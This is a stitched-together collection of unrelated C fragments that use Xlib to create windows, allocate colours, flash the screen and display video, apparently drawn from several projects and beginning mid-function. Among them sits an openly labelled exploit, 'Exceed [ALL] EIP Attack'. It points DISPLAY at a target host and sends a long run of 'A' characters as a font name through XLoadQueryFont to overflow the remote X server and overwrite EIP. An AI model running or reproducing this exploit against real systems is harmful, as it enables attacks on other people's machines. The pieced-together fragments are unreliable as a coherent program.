m_IWinRect.width(), m_IWinRect.height(), m_BorderWidth, m_fgPixel, m_bgPixel ); ...*/ Window parent; if (parentWindow != 0 && parentWindow->m_Window != 0) parent = parentWindow->m_Window; else parent = DefaultRootWindow(m_Display); XSetWindowAttributes windowAttributes; XSetWindowAttributes* winAttributes = &windowAttributes; if (attributesValueMask != 0 && attributes != 0) winAttributes = attributes; else memset(&windowAttributes, 0, sizeof(windowAttributes)); m_Window = XCreateWindow( m_Display, parent, m_WindowPosition.x, m_WindowPosition.y, m_IWinRect.width(), m_IWinRect.height(), m_BorderWidth, CopyFromParent, wndClass, visual, attributesValueMask, winAttributes ); m_WindowCreated = true; XSetStandardProperties( m_Display, m_Window, m_WindowTitle, // Window name m_WindowTitle, // Icon name None, // Icon pixmap 0, // argv 0, // argc 0 // XSizeHints ); XSelectInput( m_Display, m_Window, ExposureMask | ButtonPressMask | ButtonReleaseMask | KeyPressMask | PointerMotionMask | StructureNotifyMask // For resize event | SubstructureNotifyMask | FocusChangeMask ); m_GC = XCreateGC( m_Display, m_Window, 0, 0 ); XSetBackground( m_Display, m_GC, m_bgPixel ); XSetForeground( m_Display, m_GC, m_fgPixel ); XClearWindow( m_Display, m_Window ); XMapRaised( m_Display, m_Window ); // To prevent application closing on pressing the window close box XSetWMProtocols( m_Display, m_Window, &m_WMDeleteWindowAtom, 1 ); // printf("In createWindow: m_Window = %d\n", (int) m_Window); }
/** * Flashes one entire screen. This is done by making a window the size of the * whole screen (or reusing the old one, if it's still around), mapping it, * painting it white and then black, and then unmapping it. We set saveunder so * that all the windows behind it come back immediately. * * Unlike frame flashes, we don't do fullscreen flashes with a timeout; rather, * we do them in one go, because we don't have to rely on the theme code * redrawing the frame for us in order to do the flash. * * \param display The display which owns the screen (rather redundant) * \param screen The screen to flash * * \bug The way I read it, this appears not to do the flash * the first time we flash a particular display. Am I wrong? * * \bug This appears to destroy our current XSync status. */ static void bell_flash_screen (MetaDisplay *display, MetaScreen *screen) { Window root = screen->xroot; int width = screen->rect.width; int height = screen->rect.height; if (screen->flash_window == None) { Visual *visual = (Visual *)CopyFromParent; XSetWindowAttributes xswa; int depth = CopyFromParent; xswa.save_under = True; xswa.override_redirect = True; /* * TODO: use XGetVisualInfo and determine which is an * overlay, if one is present, and use the Overlay visual * for this window (for performance reasons). * Not sure how to tell this yet... */ screen->flash_window = XCreateWindow (display->xdisplay, root, 0, 0, width, height, 0, depth, InputOutput, visual, /* note: XSun doesn't like SaveUnder here */ CWSaveUnder | CWOverrideRedirect, &xswa); XSelectInput (display->xdisplay, screen->flash_window, ExposureMask); XMapWindow (display->xdisplay, screen->flash_window); XSync (display->xdisplay, False); XFlush (display->xdisplay); XUnmapWindow (display->xdisplay, screen->flash_window); } else { /* just draw something in the window */ GC gc = XCreateGC (display->xdisplay, screen->flash_window, 0, NULL); XMapWindow (display->xdisplay, screen->flash_window); XSetForeground (display->xdisplay, gc, WhitePixel (display->xdisplay, XScreenNumberOfScreen (screen->xscreen))); XFillRectangle (display->xdisplay, screen->flash_window, gc, 0, 0, width, height); XSetForeground (display->xdisplay, gc, BlackPixel (display->xdisplay, XScreenNumberOfScreen (screen->xscreen))); XFillRectangle (display->xdisplay, screen->flash_window, gc, 0, 0, width, height); XFlush (display->xdisplay); XSync (display->xdisplay, False); XUnmapWindow (display->xdisplay, screen->flash_window); XFreeGC (display->xdisplay, gc); } if (meta_prefs_get_focus_mode () != G_DESKTOP_FOCUS_MODE_CLICK && !display->mouse_mode) meta_display_increment_focus_sentinel (display); XFlush (display->xdisplay); }
openX displayOpen(int xs, int ys, int cflg) { Window root_window; XSizeHints hint; XColor color; Colormap cmap; XSetWindowAttributes at; openX xid; int ir, ig, ib; unsigned long foreground, background; unsigned short values[] = {0x0, 0x4444, 0x8888, 0xcccc, 0xffff}; hint.x = 0; hint.y = 0; hint.width = xs; hint.height = ys; hint.flags = PPosition|PSize; xid.display = XOpenDisplay(NULL); root_window = DefaultRootWindow(xid.display); xid.screen = DefaultScreen(xid.display); foreground = WhitePixel(xid.display, xid.screen); background = BlackPixel(xid.display, xid.screen); xid.window = XCreateSimpleWindow(xid.display, root_window, hint.x, hint.y, hint.width, hint.height, 5, foreground, background); XSetStandardProperties(xid.display,xid.window,"openX","openX",None,NULL,0,&hint); xid.gc = XCreateGC(xid.display, xid.window, 0, 0); XSetBackground(xid.display, xid.gc, background); XSetForeground(xid.display, xid.gc, foreground); at.backing_store = WhenMapped; at.bit_gravity = CenterGravity; XChangeWindowAttributes(xid.display, xid.window, CWBackingStore, &at); XChangeWindowAttributes(xid.display, xid.window, CWBitGravity, &at); XSelectInput(xid.display, xid.window, ButtonPressMask|KeyPressMask|ExposureMask); XMapRaised(xid.display, xid.window); cmap = DefaultColormap(xid.display, xid.screen); xid.color_index = (long unsigned int*)malloc(COLOR_NUM*sizeof(long)); for (ir = 0; ir < 5; ir++) { for (ig = 0; ig < 5; ig++) { for (ib = 0; ib < 5; ib++) { if (cflg==MONOC) { // MONO color.red = (int)((ir+5*ig+ib*25)/(float)COLOR_NUM*65532); color.green = color.blue = color.red; } else { color.red = values[ir]; color.green = values[ig]; color.blue = values[ib]; } XAllocColor(xid.display, cmap, &color); xid.color_index[ir+5*ig+25*ib] = color.pixel; } } } xid.id = 0; set_color(xid, 0.0, 0.0, 0.0); return xid; }
int main(int argc, char *argv[]) { Birds nests[BIGBIRD]; Birds egg[2] = { 'A', '\0' }; Birds *feathersN; Birds *HABITAT = "DISPLAY"; unsigned short eggs, chicks; unsigned short winW, winH, feathersW, feathersH; unsigned long locX, locY; unsigned long winBDR; Display* feathers; Window wingspan; XFontStruct* birdcull; fprintf(stderr, "\n\n[-] Exceed [ALL] EIP Attack - [email protected]\n"); if(argc < 2) { fprintf(stderr, "[-] Please set IP/Hostname for DISPLAY pointer!\n"); fprintf(stderr, "[-] Usage: %s <hostname/IP:feathers>\n\n", argv[0]); return EXIT_FAILURE; } if(setenv(HABITAT, argv[1], 1) <0) { perror("setenv"); return EXIT_FAILURE; } fprintf(stderr, "[-] Ok, using DISPLAY variable: %s\n", argv[1]); for(eggs = 0; eggs < BIGBIRD -1; eggs++) if(strncat(nests, egg, sizeof(BIGBIRD)-1) == NULL) { perror("strncat"); return EXIT_FAILURE; } if((feathers = XOpenDisplay(feathersN)) == NULL) { perror("XOpenDisplay"); return EXIT_FAILURE; } chicks = DefaultScreen(feathers); winW = ((feathersW = DisplayWidth(feathers, chicks)) /3); winH = ((feathersH = DisplayHeight(feathers, chicks)) /3); locX = DIRTY_VAL; locY = DIRTY_VAL; winBDR = MAX_BORDER_LEN; wingspan = XCreateSimpleWindow(feathers, RootWindow(feathers, chicks), locX, locY, winW, winH, winBDR, BlackPixel(feathers, chicks), WhitePixel(feathers, chicks)); if(XCreateSimpleWindow == NULL) { perror("XCreateSimpleWindow"); return EXIT_FAILURE; } XStoreName(feathers, wingspan, WIN_TITLE); if(XStoreName == NULL) { perror("XOpenDisplay"); return EXIT_FAILURE; } XMapWindow(feathers, wingspan); if(XMapWindow == NULL) { perror("XOpenDisplay"); return EXIT_FAILURE; } fprintf(stderr, "[-] Hang on to your feathers, sending some buffer \n\n"); if((birdcull = XLoadQueryFont(feathers, nests)) == NULL) { perror("XLoadQueryFont"); return EXIT_FAILURE; } XCloseDisplay(feathers); return EXIT_SUCCESS; }
int main(int argc, char *argv[]) { Display *display = XOpenDisplay(NULL); printf("dddd\n"); if (display == NULL) { printf("Unable to open display\n"); return 1; } font_info = XLoadQueryFont(display, font_name); if (!font_info) { fprintf(stderr, "XLoadQueryFont: failed loading font '%s'\n", font_name); } XClassHint class_hint; XSizeHints *size_hints; size_hints = XAllocSizeHints(); XWMHints *wm_hints; wm_hints = XAllocWMHints(); int black_color = BlackPixel(display, DefaultScreen(display)); int white_color = WhitePixel(display, DefaultScreen(display)); Window window = XCreateSimpleWindow( display , DefaultRootWindow(display) , 0 , 0 , 400 , 300 , black_color , 35 , white_color ); XStoreName(display, window, WIN_TITLE); gc = XCreateGC(display, window, 0, &values); XSetFont(display, gc, font_info->fid); XSetForeground(display, gc, black_color); class_hint.res_name = WIN_NAME; class_hint.res_class = WIN_CLASS; XSetClassHint(display, window, &class_hint); size_hints->flags = PPosition | PSize | PMinSize; size_hints->min_width = 400; size_hints->min_height = 300; XSetWMNormalHints(display, window, size_hints); XSelectInput(display, window, ExposureMask); XMapWindow(display, window); XFlush(display); while(1) { static char *text = "Hello, Ryan"; static int txt_length; static int font_height; static int txt_x_pos,txt_y_pos; XNextEvent(display, &report); switch ( report.type ) { case Expose: if ( report.xexpose.count != 0 ) break; txt_length = XTextWidth(font_info, text, strlen(text)); XDrawString(display, window, gc, 100, 100, "hello ryan", strlen("hello ryan")); break; } } return 0; }
int main(int argc, char *argv[]) { unsigned int moment; unsigned int node_index; unsigned int moment_index; node_t *node; unsigned int total_connectivity; Display *display; GC gc; int screen_number; int window_x; int window_y; unsigned int each_x; unsigned int each_y; unsigned int window_border_width; unsigned int window_height; unsigned int window_width; unsigned long gc_value_mask; unsigned long window_background_color; unsigned long window_border_color; Window root_window; Window window; XGCValues gc_values; Visual* default_visual; Colormap colormap; XColor system_color; XColor exact_color; unsigned int window_display_x_modulus; unsigned int window_display_y_modulus; unsigned int window_x_pixel; unsigned int window_y_pixel; display = XOpenDisplay(NULL); screen_number = DefaultScreen(display); root_window = RootWindow(display, screen_number); window_x = 0; window_y = 0; window_width = XWINDOW_WIDTH; window_height = XWINDOW_HEIGHT; window_border_width = 0; window_border_color = BlackPixel(display, screen_number); window_background_color = WhitePixel(display, screen_number); window = XCreateSimpleWindow(display, root_window, window_x, window_y, window_width, window_height, window_border_width, window_border_color, window_background_color); XMapWindow(display, window); XFlush(display); gc_value_mask = 0; gc = XCreateGC(display, window, gc_value_mask, &gc_values); default_visual = DefaultVisual(display, DefaultScreen(display)); colormap = XCreateColormap(display, window, default_visual, AllocNone); XSync(display, False); window_display_x_modulus = NODES / XWINDOW_WIDTH; window_display_y_modulus = TIME / XWINDOW_HEIGHT; srandom(SEED); network = create_network(); window_y_pixel = 0; for (moment = 0; moment < TIME; moment++) { total_connectivity = 0; if (0 == (moment % window_display_y_modulus)) { for (node_index = 0; node_index < NODES; node_index++) { node = network->nodes_display_order[node_index]; total_connectivity += node->link_count; } window_x_pixel = 0; for (node_index = 0; node_index < NODES; node_index++) { if (0 != (node_index % window_display_x_modulus)) { continue; } node = network->nodes_display_order[node_index]; system_color.red = (total_connectivity / MAX_CONNECTIVITY) % (USHRT_MAX / 2); if (0 == node->value) { system_color.green = USHRT_MAX / 4; system_color.blue = USHRT_MAX; } else if (1 == node->value) { system_color.green = USHRT_MAX; system_color.blue = USHRT_MAX / 4; } else { exit(100); } if (2 == node->link_count) { system_color.green /= 2; system_color.blue /= 2; } XAllocColor(display, colormap, &system_color); XSetForeground(display, gc, system_color.pixel); XDrawPoint(display, window, gc, window_x_pixel, window_y_pixel); window_x_pixel++; } XFlush(display); window_y_pixel++; } iterate_network(network); } while (1) { usleep(SLEEP); } destroy_network(network); XUnmapWindow(display, window); XDestroyWindow(display, window); XCloseDisplay(display); return 0; }
static void initScreen(int screen) { XGCValues gv; XSetWindowAttributes attr; XColor colour, exact; int len; char * display_string = DisplayString(dpy); char * colon = strrchr(display_string, ':'); char * dot = NULL; /* Set the DISPLAY specification. */ if (colon) { dot = strrchr(colon, '.'); len = 9 + strlen(display_string) + ((dot == 0) ? 2 : 0) + 10; screens[screen].display_spec = (char *) malloc(len); sprintf(screens[screen].display_spec, "DISPLAY=%s", display_string); if (dot == 0) dot = screens[screen].display_spec + len - 3; else dot = strrchr(screens[screen].display_spec, '.'); sprintf(dot, ".%i", screen); } else { screens[screen].display_spec = 0; } /* Find the root window. */ screens[screen].root = RootWindow(dpy, screen); screens[screen].display_width = DisplayWidth(dpy, screen); screens[screen].display_height = DisplayHeight(dpy, screen); screens[screen].strut.left = 0; screens[screen].strut.right = 0; screens[screen].strut.top = 0; screens[screen].strut.bottom = 0; /* Get the pixel values of the only two colours we use. */ screens[screen].black = BlackPixel(dpy, screen); screens[screen].white = WhitePixel(dpy, screen); XAllocNamedColor(dpy, DefaultColormap(dpy, screen), "DimGray", &colour, &exact); screens[screen].gray = colour.pixel; /* Set up root (frame) GC's. */ gv.foreground = screens[screen].black ^ screens[screen].white; gv.background = screens[screen].white; gv.function = GXxor; gv.line_width = 1; gv.subwindow_mode = IncludeInferiors; screens[screen].gc_thin = XCreateGC(dpy, screens[screen].root, GCForeground | GCBackground | GCFunction | GCLineWidth | GCSubwindowMode, &gv); gv.line_width = 2; screens[screen].gc = XCreateGC(dpy, screens[screen].root, GCForeground | GCBackground | GCFunction | GCLineWidth | GCSubwindowMode, &gv); /* Create a window for our popup. */ screens[screen].popup = XCreateSimpleWindow(dpy, screens[screen].root, 0, 0, 1, 1, 1, screens[screen].black, screens[screen].white); attr.event_mask = ButtonMask | ButtonMotionMask | ExposureMask; XChangeWindowAttributes(dpy, screens[screen].popup, CWEventMask, &attr); /* Create menu GC. */ gv.line_width = 1; screens[screen].menu_gc = XCreateGC(dpy, screens[screen].popup, GCForeground | GCBackground | GCFunction | GCLineWidth | GCSubwindowMode, &gv); /* Create size indicator GC. */ gv.foreground = screens[screen].black; gv.function = GXcopy; screens[screen].size_gc = XCreateGC(dpy, screens[screen].popup, GCForeground | GCBackground | GCFunction | GCLineWidth | GCSubwindowMode, &gv); /* Announce our interest in the root window. */ attr.cursor = screens[screen].root_cursor; attr.event_mask = SubstructureRedirectMask | SubstructureNotifyMask | ColormapChangeMask | ButtonPressMask | PropertyChangeMask | EnterWindowMask; XChangeWindowAttributes(dpy, screens[screen].root, CWCursor | CWEventMask, &attr); /* Make sure all our communication to the server got through. */ XSync(dpy, False); }
/* **************************************************************** * Programa principal * **************************************************************** */ void main (int argc, const char *argv[]) { Display *dp; Window win; int screen; ulong fg, bg; GC gc; XEvent ev; Font font; KeySym key; char text[80]; int doneflag, len, opt, exitval; /* * Inicializa opções. */ exitval = 0; /* * Analisa as opções de execução. */ while ((opt = getopt (argc, argv, "G:f:MH")) != EOF) { switch (opt) { case 'M': exit (0); case 'H': help (0); break; case 'f': fontname = (char *)optarg; break; case 'G': get_geometry (optarg); break; default: putc ('\n', stderr); help (2); } /* end switch (opt) */ } /* while ((opt = getopt (...))) */ /* * Conecta-se ao servidor. */ if ((dp = XOpenDisplay (NULL)) == (Display *)NULL) msg ("$Não consegui conectar-me ao servidor"); screen = DefaultScreen (dp); bg = WhitePixel (dp, screen); fg = BlackPixel (dp, screen); win = XCreateSimpleWindow ( dp, DefaultRootWindow (dp), x, y, dx, dy, 2, fg, bg /* cores: frente e fundo */ ); gc = DefaultGC (dp, screen); if (fontname != NOSTR) { if (font = XLoadFont (dp, fontname)) XSetFont (dp, gc, font); } XSelectInput (dp, win, ButtonPressMask|KeyPressMask|ExposureMask); XMapRaised (dp, win); for (doneflag = 0; doneflag == 0; /* sem incremento */) { XNextEvent (dp, &ev); switch (ev.type) { case Expose: break; case ButtonPress: sprintf ( text, #if (0) /****************************************************/ "(%d, %d), (%d, %d)", ev.xbutton.x_root, ev.xbutton.y_root, #endif /****************************************************/ "(%d, %d)", ev.xbutton.x, ev.xbutton.y ); XDrawImageString ( dp, win, gc, ev.xbutton.x, ev.xbutton.y, text, strlen (text) ); break; case KeyPress: len = XLookupString (&ev.xkey, text, 10, &key, 0); if (len == 1 && text[0] == 'q') doneflag++; break; } } XDestroyWindow (dp, win); XCloseDisplay (dp); exit (0); } /* end main */
int makeColors(Display *dsply, int scrn, Colormap *colorMap, unsigned long **colorIndex, int *total_Shades) { int h, s; static unsigned long *hiya; /* keep colortable around for next time */ HSV hsv; RGB rgb; XColor color; int okay = yes; /* is true (1) so long as XAllocColor is * working ok. if 0, then we ran out of room * on the color table. */ int colorNum; /* shade5 definition */ static float saturations[5] = {0.90, 0.80, 0.74, 0.50, 0.18}; static float values[5] = {0.38, 0.58, 0.75, 0.88, 0.94}; /* static float values[5] = {0.34, 0.52, 0.80, 0.88, 0.94}; */ /* fprintf(stderr,"makeColors called\n");*/ /* printf("making new colors....\n"); */ *total_Shades = totalShadesConst; /* space for color table */ hiya = (unsigned long *) saymem("spadcolors30.c", totalHuesConst * (*total_Shades) + 2, sizeof(unsigned long)); *colorIndex = hiya; for (h = 0, colorNum = 0; okay && h < 60; h += (hueStep - 6)) { for (s = 0; okay && s < *total_Shades; s++) { hsv.h = h; hsv.s = saturations[s]; hsv.v = values[s]; rgb = HSVtoRGB(hsv); color.red = rgb.r *((1<<16)-1); color.green = rgb.g *((1<<16)-1); color.blue = rgb.b *((1<<16)-1); color.flags = DoRed | DoGreen | DoBlue; /* fprintf(stderr,"%f\t%f\t%f\n",rgb.r,rgb.g,rgb.b); fprintf(stderr,"%d\t%d\t%d\n",color.red,color.green,color.blue); */ if ((okay = XAllocColor(dsply, *colorMap, &color))) hiya[colorNum++] = color.pixel; /* hiya points to table */ } /* for s */ } /* for h */ for (h = 60; okay && h < 180; h += 20) { for (s = 0; okay && s < *total_Shades; s++) { hsv.h = h; hsv.s = saturations[s]; hsv.v = values[s]; rgb = HSVtoRGB(hsv); color.red = rgb.r *((1<<16)-1); color.green = rgb.g *((1<<16)-1); color.blue = rgb.b *((1<<16)-1); color.flags = DoRed | DoGreen | DoBlue; /* fprintf(stderr,"%f\t%f\t%f\n",rgb.r,rgb.g,rgb.b); fprintf(stderr,"%d\t%d\t%d\n",color.red,color.green,color.blue); */ if ((okay = XAllocColor(dsply, *colorMap, &color))) hiya[colorNum++] = color.pixel; } } for (h = 180; okay && h <= 300; h += hueStep) { for (s = 0; okay && s < *total_Shades; s++) { hsv.h = h; hsv.s = saturations[s]; hsv.v = values[s]; rgb = HSVtoRGB(hsv); color.red = rgb.r *((1<<16)-1); color.green = rgb.g *((1<<16)-1); color.blue = rgb.b *((1<<16)-1); color.flags = DoRed | DoGreen | DoBlue; /* fprintf(stderr,"%f\t%f\t%f\n",rgb.r,rgb.g,rgb.b); fprintf(stderr,"%d\t%d\t%d\n",color.red,color.green,color.blue); */ if ((okay = XAllocColor(dsply, *colorMap, &color))) hiya[colorNum++] = color.pixel; } } hiya[colorNum++] = BlackPixel(dsply, scrn); hiya[colorNum++] = WhitePixel(dsply, scrn); if (colorNum < (totalShadesConst * totalHuesConst + 2)) { free(*colorIndex); fprintf(stderr, " > Warning: cannot allocate all the necessary colors - switching to monochrome mode\n"); *colorIndex = (unsigned long *) saymem("while allocating the colormap for OpenAxiom ", 2, sizeof(unsigned long)); (*colorIndex)[0] = BlackPixel(dsply, scrn); (*colorIndex)[1] = WhitePixel(dsply, scrn); return (-1); } return (colorNum); }
// only used internally void makeNativeWindow() { #ifdef __FOR_XORG__ __x_display = XOpenDisplay(NULL); // open the standard display (the primary screen) if (__x_display == NULL) { printf("cannot connect to X server\n"); } Window root = DefaultRootWindow(__x_display); // get the root window (usually the whole screen) XSetWindowAttributes swa; swa.event_mask = ExposureMask | PointerMotionMask | KeyPressMask | KeyReleaseMask; __display_width=640; __display_height=480; // xorg hard coded for now int s = DefaultScreen(__x_display); __win = XCreateSimpleWindow(__x_display, root, 10, 10, __display_width, __display_height, 1, BlackPixel(__x_display, s), WhitePixel(__x_display, s)); XSelectInput(__x_display, __win, ExposureMask | KeyPressMask | KeyReleaseMask | ButtonPressMask | ButtonReleaseMask | PointerMotionMask); XSetWindowAttributes xattr; Atom atom; int one = 1; xattr.override_redirect = False; XChangeWindowAttributes(__x_display, __win, CWOverrideRedirect, &xattr); /* atom = XInternAtom(__x_display, "_NET_WM_STATE_FULLSCREEN", True); XChangeProperty(__x_display, win, XInternAtom(__x_display, "_NET_WM_STATE", True), XA_ATOM, 32, PropModeReplace, (unsigned char *)&atom, 1); */ XWMHints hints; hints.input = True; hints.flags = InputHint; XSetWMHints(__x_display, __win, &hints); XMapWindow(__x_display, __win); // make the window visible on the screen XStoreName(__x_display, __win, "GLES2.0 framework"); // give the window a name // NB - RPi needs to use EGL_DEFAULT_DISPLAY that some X configs dont seem to like __egl_display = eglGetDisplay((EGLNativeDisplayType) __x_display); if (__egl_display == EGL_NO_DISPLAY) { printf("Got no EGL display.\n"); } __eventWin = __win; Cursor invisibleCursor; Pixmap bitmapNoData; XColor black; static char noData[] = { 0,0,0,0,0,0,0,0 }; black.red = black.green = black.blue = 0; bitmapNoData = XCreateBitmapFromData(__x_display, __win, noData, 8, 8); invisibleCursor = XCreatePixmapCursor(__x_display, bitmapNoData, bitmapNoData, &black, &black, 0, 0); XDefineCursor(__x_display,__win, invisibleCursor); XFreeCursor(__x_display, invisibleCursor); #endif //__FOR_XORG__ #ifdef __FOR_RPi__ bcm_host_init(); int32_t success = 0; // create an EGL window surface, passing context width/height success = graphics_get_display_size(0 /* LCD */ , &__display_width, &__display_height); if (success < 0) { printf("unable to get display size\n"); //return EGL_FALSE; } __x_display = XOpenDisplay(NULL); // open the standard display (the primary screen) if (__x_display == NULL) { printf("cannot connect to X server\n"); } Window root = DefaultRootWindow(__x_display); // get the root window (usually the whole screen) XSetWindowAttributes swa; swa.event_mask = ExposureMask | PointerMotionMask | KeyPressMask | KeyReleaseMask; int s = DefaultScreen(__x_display); __eventWin = XCreateSimpleWindow(__x_display, root, 0, 0, __display_width, __display_height, 1, BlackPixel(__x_display, s), WhitePixel(__x_display, s)); XSelectInput(__x_display, __eventWin, ExposureMask | KeyPressMask | KeyReleaseMask | ButtonPressMask | ButtonReleaseMask | PointerMotionMask); XSetWindowAttributes xattr; Atom atom; int one = 1; xattr.override_redirect = False; XChangeWindowAttributes(__x_display, __eventWin, CWOverrideRedirect, &xattr); XWMHints hints; hints.input = True; hints.flags = InputHint; XSetWMHints(__x_display, __eventWin, &hints); XMapWindow(__x_display, __eventWin); // make the window visible on the screen XStoreName(__x_display, __eventWin, "Event trap"); // give the window a name // we have to be full screen to capture all mouse events // TODO consider using warp mouse to report relative motions // instead of absolute... XFlush(__x_display); // you have to flush or bcm seems to prevent window coming up? Atom wmState = XInternAtom(__x_display, "_NET_WM_STATE", False); Atom fullScreen = XInternAtom(__x_display, "_NET_WM_STATE_FULLSCREEN", False); XEvent xev; xev.xclient.type = ClientMessage; xev.xclient.serial = 0; xev.xclient.send_event = True; xev.xclient.window = __eventWin; xev.xclient.message_type = wmState; xev.xclient.format = 32; xev.xclient.data.l[0] = 1; //_NET_WM_STATE_ADD xev.xclient.data.l[1] = fullScreen; xev.xclient.data.l[2] = 0; XSendEvent(__x_display, root, False, SubstructureRedirectMask | SubstructureNotifyMask, &xev); XFlush(__x_display); // you have to flush or bcm seems to prevent window coming up? static EGL_DISPMANX_WINDOW_T nativewindow; DISPMANX_ELEMENT_HANDLE_T dispman_element; DISPMANX_DISPLAY_HANDLE_T dispman_display; DISPMANX_UPDATE_HANDLE_T dispman_update; VC_RECT_T dst_rect; VC_RECT_T src_rect; // printf("display size %i,%i\n",__display_width,__display_height); dst_rect.x = 0; dst_rect.y = 0; dst_rect.width = __display_width; dst_rect.height = __display_height; src_rect.x = 0; src_rect.y = 0; src_rect.width = __display_width << 16; src_rect.height = __display_height << 16; dispman_display = vc_dispmanx_display_open(0 /* LCD */ ); dispman_update = vc_dispmanx_update_start(0); //VC_DISPMANX_ALPHA_T alpha = { DISPMANX_FLAGS_ALPHA_FROM_SOURCE | DISPMANX_FLAGS_ALPHA_FIXED_ALL_PIXELS,255,0 }; VC_DISPMANX_ALPHA_T alpha = { DISPMANX_FLAGS_ALPHA_FIXED_ALL_PIXELS,255,0 }; dispman_element = vc_dispmanx_element_add(dispman_update, dispman_display, 0 /*layer */ , &dst_rect, 0 /*src */ , &src_rect, DISPMANX_PROTECTION_NONE, &alpha /*alpha */ , 0 /*clamp */ , 0 /*transform */ ); nativewindow.element = dispman_element; nativewindow.width = __display_width; nativewindow.height = __display_height; vc_dispmanx_update_submit_sync(dispman_update); __win = &nativewindow; __egl_display = eglGetDisplay(EGL_DEFAULT_DISPLAY); #endif //__FOR_RPi__ #ifdef __FOR_RPi_noX__ bcm_host_init(); int32_t success = 0; success = graphics_get_display_size(0 /* LCD */ , &__display_width, &__display_height); if (success < 0) { printf("unable to get display size\n"); //return EGL_FALSE; } static EGL_DISPMANX_WINDOW_T nativewindow; DISPMANX_ELEMENT_HANDLE_T dispman_element; DISPMANX_DISPLAY_HANDLE_T dispman_display; DISPMANX_UPDATE_HANDLE_T dispman_update; VC_RECT_T dst_rect; VC_RECT_T src_rect; dst_rect.x = 0; dst_rect.y = 0; dst_rect.width = __display_width; dst_rect.height = __display_height; src_rect.x = 0; src_rect.y = 0; src_rect.width = __display_width << 16; src_rect.height = __display_height << 16; dispman_display = vc_dispmanx_display_open(0 /* LCD */ ); dispman_update = vc_dispmanx_update_start(0); VC_DISPMANX_ALPHA_T alpha = { DISPMANX_FLAGS_ALPHA_FIXED_ALL_PIXELS,255,0 }; dispman_element = vc_dispmanx_element_add(dispman_update, dispman_display, 0 /*layer */ , &dst_rect, 0 /*src */ , &src_rect, DISPMANX_PROTECTION_NONE, &alpha /*alpha */ , 0 /*clamp */ , 0 /*transform */ ); nativewindow.element = dispman_element; nativewindow.width = __display_width; nativewindow.height = __display_height; vc_dispmanx_update_submit_sync(dispman_update); __win = &nativewindow; __egl_display = eglGetDisplay(EGL_DEFAULT_DISPLAY); if (__egl_display == EGL_NO_DISPLAY) { printf("Got no EGL display.\n"); } #endif //__FOR_RPi_noX__ }
void video_frame(uint16_t id, uint8_t *img_data, uint16_t width, uint16_t height, bool resize) { Window *win = &video_win[id]; if (id == UINT16_MAX) { // Preview window win = &preview; } if (!*win) { LOG_TRACE("Video", "frame for null window %u" , id); return; } if (resize) { XWindowChanges changes = {.width = width, .height = height }; XConfigureWindow(display, *win, CWWidth | CWHeight, &changes); } XWindowAttributes attrs; XGetWindowAttributes(display, video_win[id], &attrs); XImage image = { .width = attrs.width, .height = attrs.height, .depth = 24, .bits_per_pixel = 32, .format = ZPixmap, .byte_order = LSBFirst, .bitmap_unit = 8, .bitmap_bit_order = LSBFirst, .bytes_per_line = attrs.width * 4, .red_mask = 0xFF0000, .green_mask = 0xFF00, .blue_mask = 0xFF, .data = (char *)img_data }; /* scale image if needed */ uint8_t *new_data = malloc(attrs.width * attrs.height * 4); if (new_data && (attrs.width != width || attrs.height != height)) { scale_rgbx_image(img_data, width, height, new_data, attrs.width, attrs.height); image.data = (char *)new_data; } GC default_gc = DefaultGC(display, def_screen_num); Pixmap pixmap = XCreatePixmap(display, main_window.window, attrs.width, attrs.height, default_depth); XPutImage(display, pixmap, default_gc, &image, 0, 0, 0, 0, attrs.width, attrs.height); XCopyArea(display, pixmap, *win, default_gc, 0, 0, attrs.width, attrs.height, 0, 0); XFreePixmap(display, pixmap); free(new_data); } void video_begin(uint16_t id, char *name, uint16_t name_length, uint16_t width, uint16_t height) { Window *win = &video_win[id]; if (id == UINT16_MAX) { // Preview window win = &preview; } if (*win) { return; } *win = XCreateSimpleWindow(display, RootWindow(display, def_screen_num), 0, 0, width, height, 0, BlackPixel(display, def_screen_num), WhitePixel(display, def_screen_num)); // Fallback name in ISO8859-1. XStoreName(display, *win, "Video Preview"); // UTF-8 name for those WMs that can display it. XChangeProperty(display, *win, XA_NET_NAME, XA_UTF8_STRING, 8, PropModeReplace, (uint8_t *)name, name_length); XSetWMProtocols(display, *win, &wm_delete_window, 1); /* set WM_CLASS */ XClassHint hint = {.res_name = "utoxvideo", .res_class = "utoxvideo" }; XSetClassHint(display, *win, &hint); XMapWindow(display, *win); LOG_TRACE("Video", "new window %u" , id); } void video_end(uint16_t id) { Window *win = &video_win[id]; if (id == UINT16_MAX) { // Preview window win = &preview; } XDestroyWindow(display, *win); *win = None; LOG_NOTE("Video", "killed window %u" , id); }
/*ARGSUSED*/ int main(int argc, char *argv[]) { XEvent ev; XGCValues gv; XSetWindowAttributes attr; (void) argc; argv0 = argv[0]; /* Open a connection to the X server. */ dpy = XOpenDisplay(""); if (dpy == 0) Panic("can't open display."); get_resources(); /* Find the screen's dimensions. */ display_width = DisplayWidth(dpy, DefaultScreen(dpy)); display_height = DisplayHeight(dpy, DefaultScreen(dpy)); /* Set up an error handler. */ XSetErrorHandler(ErrorHandler); /* Get the pixel values of the only two colours we use. */ black = BlackPixel(dpy, DefaultScreen(dpy)); white = WhitePixel(dpy, DefaultScreen(dpy)); /* Get font. */ font = XLoadQueryFont(dpy, font_name); if (font == 0) font = XLoadQueryFont(dpy, "fixed"); if (font == 0) Panic("can't find a font."); /* Get a cursor. */ initCursor(); /* Create the window. */ root = DefaultRootWindow(dpy); attr.override_redirect = True; attr.background_pixel = white; attr.border_pixel = black; attr.cursor = mouse_cursor; attr.event_mask = ExposureMask | VisibilityChangeMask | ButtonMotionMask | PointerMotionHintMask | ButtonPressMask | ButtonReleaseMask | StructureNotifyMask | EnterWindowMask | LeaveWindowMask; window = XCreateWindow(dpy, root, 0, 0, display_width, 1.2 * (font->ascent + font->descent), 0, CopyFromParent, InputOutput, CopyFromParent, CWOverrideRedirect | CWBackPixel | CWBorderPixel | CWCursor | CWEventMask, &attr); /* Create GC. */ gv.foreground = black; gv.background = white; gv.font = font->fid; gc = XCreateGC(dpy, window, GCForeground | GCBackground | GCFont, &gv); /* Create the menu items. */ readMenu(); /* Bring up the window. */ XMapRaised(dpy, window); /* Make sure all our communication to the server got through. */ XSync(dpy, False); /* The main event loop. */ for (;;) { getEvent(&ev); dispatch(&ev); } }
